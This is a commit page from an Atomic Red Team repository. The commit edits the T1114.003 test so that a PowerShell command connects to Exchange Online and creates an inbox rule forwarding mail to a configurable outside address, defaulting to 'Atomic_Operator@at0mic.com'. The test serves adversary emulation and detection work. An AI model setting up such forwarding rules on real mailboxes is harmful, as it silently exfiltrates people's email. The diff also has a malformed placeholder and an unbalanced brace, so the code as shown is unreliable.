security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Implement option email forwarding address

Browse Source
This commit is contained in:
Justin Schoenfeld
2023-01-05 09:43:34 -05:00
committed by GitHub
parent 174ff319bb
commit 52bf96f197
1 changed files with 6 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1114.003/T1114.003.yaml
+6 -2
View File
@@ -20,6 +20,10 @@ atomic_tests:
description: email rule name
type: String
default: "Atomic Red Team Email Rule"
forwarding_email:
description: email rule name
type: String
default: "Atomic_Operator@at0mic.com"
dependency_executor_name: powershell
dependencies:
- description: |
@@ -36,11 +40,11 @@ atomic_tests:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
New-InboxRule -Name "#{rule_name}" -ForwardTo 'Atomic_Operator@example.com'
New-InboxRule -Name "#{rule_name}" -ForwardTo "{#forwarding_email}"
cleanup_command: |
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Get-InboxRule | Where-Object { $_.Name -eq "#{rule_name}" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False }
name: powershell
elevation_required: false
elevation_required: false